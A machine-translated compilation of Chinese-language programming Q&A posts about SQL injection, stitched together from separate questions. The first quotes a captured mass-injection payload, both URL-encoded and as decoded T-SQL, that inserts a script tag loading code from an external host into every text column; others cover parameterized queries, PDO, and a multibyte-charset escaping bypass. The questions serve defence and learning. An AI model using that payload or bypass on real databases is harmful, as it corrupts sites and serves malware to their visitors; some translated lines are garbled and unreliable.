我想在这里发帖,因为它与编码有很大关系,本周我必须在我公司的旧ASP(经典)网站上清理.
我们受到了几天前运行的SQL注入攻击的打击,但是我正在摸不着对于SQL服务器(通过这些SQL查询)的"损坏".
说实话,我认为这是非常巧妙的,并且我的公司因为拥有一个几乎没有消毒输入的旧的10年历史的网站而错.
攻击:
122 +声明+%的40s + VARCHAR%284000%29 + +设定40年代%%3Dcast%+ AS + VARCHAR%284000%29%29 + EXEC%28%40年代%29-
它解释为:( 我想要了解的)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Run Code Online (Sandbox Code Playgroud)
我们已经恢复了备份(预注入)并浏览了整个应用程序并清理了所有输入语句.我们的服务器是防火墙的,所以没有直接的SQL访问,但我想知道还剩下什么,我不得不承认SQL查询是我的头脑.
有人可以解决它并为我解释攻击SQL吗?
APOLOGIES我更新了完整的DUMP和SQL
我们有数百个以asp,.net和java开发的网站,我们为外部机构支付了大量资金,对我们的网站进行渗透测试,以检查安全漏洞.有没有(好的)软件(付费或免费)这样做?
或..是否有任何技术文章可以帮助我开发这个工具?
我试图使用用户提供的数据创建一个SQL语句.我在C#中使用与此类似的代码:
var sql = "INSERT INTO myTable (myField1, myField2) " +
"VALUES ('" + someVariable + "', '" + someTextBox.Text + "');";
var cmd = new SqlCommand(sql, myDbConnection);
cmd.ExecuteNonQuery();
Run Code Online (Sandbox Code Playgroud)
这在VB.NET中:
Dim sql = "INSERT INTO myTable (myField1, myField2) " &
"VALUES ('" & someVariable & "', '" & someTextBox.Text & "');"
Dim cmd As New SqlCommand(sql, myDbConnection)
cmd.ExecuteNonQuery()
Run Code Online (Sandbox Code Playgroud)
然而,
O'Brien)时,这会失败,我怎么做"正确的方式"?
不久前开始使用PDO准备好的语句,据我所知,它可以为您完成所有的转义/安全性.
例如,假设$ _POST ['title']是一个表单字段.
$title = $_POST['title'];
$query = "insert into blog(userID, title) values (?, ?)"
$st = $sql->prepare($query);
$st->bindParam(1, $_SESSION['user']['userID'], PDO::PARAM_INT);
$st->bindParam(2, $title);
$st->execute();
Run Code Online (Sandbox Code Playgroud)
这真的很安全吗?我还要做别的吗?还有什么需要考虑的?
谢谢.
我正在使用Java EE 6和JSF-2.0构建Java Web应用程序,使用持久性API进行所有数据库操作.
后端是MySQL,但是我在EJB-QL中使用了EntityManager函数和命名查询来进行所有操作.在这种情况下,SQL注入攻击是否可行?
我知道SQL注入相当危险.现在在我的C#代码中,我用SqlCommand类构成参数化查询:
SqlCommand command = ...;
command.CommandText = "SELECT * FROM Jobs WHERE JobId = @JobId;";
command.Parameters.Add("@JobId", SqlDbType.UniqueIdentifier ).Value = actualGuid;
command.ExecuteNonQuery();
Run Code Online (Sandbox Code Playgroud)
这会自动使我的代码免受SQL注入吗?我需要做些额外的事吗?
我使用修改我的代码mysql_*来PDO.在我的代码中我有mysql_real_escape_string().在PDO中,这相当于什么?
在http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/?akst_action=share-this上,有一节声称可以绕过某些亚洲字符编码的mysql_real_escape_string
用BIG5或GBK绕过mysql_real_escape_string()
"注入字符串"
に关する追加情报:上面的字符是中文Big5
这是真的吗?如果是这样,如果您无法访问预先准备好的声明,您将如何保护您的网站不受此影响?
我必须为我的OJT公司编写应用程序管理系统.前端将在C#中完成,后端在SQL中完成.
现在我从未做过这个范围的项目; 在学校我们只有关于SQL的基础课.不知怎的,我们的老师完全没有讨论SQL注入,我现在才通过在网上阅读它来接触它.
所以无论如何我的问题是:你如何防止C#中的SQL注入?我隐约认为可以通过正确屏蔽应用程序的文本字段来完成它,以便它只接受指定格式的输入.例如:电子邮件文本框的格式应为"example@examplecompany.tld".这种方法是否足够?或者.NET是否有预定义的方法来处理这样的东西?我可以将过滤器应用于文本框,因此它只接受电子邮件地址格式或名称文本框,因此它不接受特殊字符吗?
我正在编写一些单元测试,以确保我的代码在各种字符集下不易受SQL注入攻击.
根据这个答案,你可以通过注入创建一个漏洞\xbf\x27使用下列字符集之一:big5,cp932,gb2312,gbk和sjis
这是因为如果未正确配置您的escaper,它将会看到0x27并尝试将其转义为它\xbf\x5c\x27.但是,\xbf\x5c实际上这些字符集中只有一个字符,因此quote(0x27)未被转义.
然而,正如我通过测试发现的那样,这并非完全正确.它的工作原理为big5,gb2312和gbk但也0xbf27还是0xbf5c在有效的字符sjis和cp932.
都
mb_strpos("abc\xbf\x27def","'",0,'sjis')
Run Code Online (Sandbox Code Playgroud)
和
mb_strpos("abc\xbf\x27def","'",0,'cp932')
Run Code Online (Sandbox Code Playgroud)
返回4.即,PHP不会将其\xbf\x27视为单个字符.这将返回false了big5,gb2312和gbk.
这个:
mb_strlen("\xbf\x5c",'sjis')
Run Code Online (Sandbox Code Playgroud)
返回2(返回1的gbk).
所以,问题是:是否有另一个字符序列,使sjis和cp932容易受到SQL注入,或者是他们居然不容易呢?或者是PHP撒谎,我完全错了,MySQL会完全不同地解释这个吗?